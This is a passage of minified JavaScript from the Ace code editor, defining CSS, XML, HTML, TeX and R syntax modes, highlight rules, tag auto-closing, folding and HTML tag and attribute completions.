s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/tex_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){e||(e=\"text\"),this.$rules={start:[{token:\"comment\",regex:\"%.*$\"},{token:e,regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\\\b\",next:\"nospell\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])}]\"},{token:e,regex:\"\\\\s+\"}],nospell:[{token:\"comment\",regex:\"%.*$\",next:\"start\"},{token:\"nospell.\"+e,regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\\\b\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\",next:\"start\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])]\"},{token:\"paren.keyword.operator\",regex:\"}\",next:\"start\"},{token:\"nospell.\"+e,regex:\"\\\\s+\"},{token:\"nospell.\"+e,regex:\"\\\\w+\"}]}};r.inherits(o,s),t.TexHighlightRules=o}),ace.define(\"ace/mode/r_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/tex_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./tex_highlight_rules\").TexHighlightRules,u=function(){var e=i.arrayToMap(\"function|if|in|break|next|repeat|else|for|return|switch|while|try|tryCatch|stop|warning|require|library|attach|detach|source|setMethod|setGeneric|setGroupGeneric|setClass\".split(\"|\")),t=i.arrayToMap(\"NULL|NA|TRUE|FALSE|T|F|Inf|NaN|NA_integer_|NA_real_|NA_character_|NA_complex_\".split(\"|\"));this.$rules={start:[{token:\"comment.sectionhead\",regex:\"#+(?!').*(?:----|====|####)\\\\s*$\"},{token:\"comment\",regex:\"#+'\",next:\"rd-start\"},{token:\"comment\",regex:\"#.*$\"},{token:\"string\",regex:'[\"]',next:\"qqstring\"},{token:\"string\",regex:\"[']\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+[Li]?\\\\b\"},{token:\"constant.numeric\",regex:\"\\\\d+L\\\\b\"},{token:\"constant.numeric\",regex:\"\\\\d+(?:\\\\.\\\\d*)?(?:[eE][+\\\\-]?\\\\d*)?i?\\\\b\"},{token:\"constant.numeric\",regex:\"\\\\.\\\\d+(?:[eE][+\\\\-]?\\\\d*)?i?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:TRUE|FALSE|T|F)\\\\b\"},{token:\"identifier\",regex:\"`.*?`\"},{onMatch:function(n){return 